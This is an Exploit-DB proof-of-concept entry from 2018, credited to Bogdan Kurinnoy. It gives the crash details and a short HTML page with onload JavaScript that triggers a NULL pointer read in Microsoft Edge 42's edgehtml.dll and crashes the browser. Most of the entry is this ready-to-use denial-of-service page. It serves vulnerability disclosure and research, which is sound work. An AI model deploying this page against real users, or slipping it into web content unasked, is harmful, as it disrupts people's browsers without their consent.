Microsoft Edge 42.17134.1.0 - 'Tree::ANode::DocumentLayout' Denial of Service

EDB-ID:

46026

CVE:

N/A




Platform:

Windows

Date:

2018-12-21


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# Exploit Title: Microsoft Edge edgehtml.dll!Tree::ANode::DocumentLayout. Denial of Service (PoC)
# Google Dork: N/A
# Date: 2018-11-11
# Exploit Author: Bogdan Kurinnoy (b.kurinnoy@gmail.com)
# Vendor Homepage: https://www.microsoft.com/
# Version: Microsoft Edge 42.17134.1.0 (Microsoft EdgeHTML 17.17134)
# Tested on: Windows 10 x64
# CVE : N/A

# Description:
# Access violation while reading memory at 0x5C using a NULL pointer (microsoftedgecp.exe!edgehtml.dll!Tree::ANode::DocumentLayout)
# https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/19594021/

PoC.html

<html>

<head>

<script>

function ff() {
	var v4= document.elementFromPoint(0,0);
	v2.label = "C"; 
	var v3= document.execCommand("selectAll", true);
}

</script>

</head>

<body onload=ff()>

<select id="1" multiple="multiple">

<optgroup id="v2" label="A">

<option id="v1">

</body>

</html>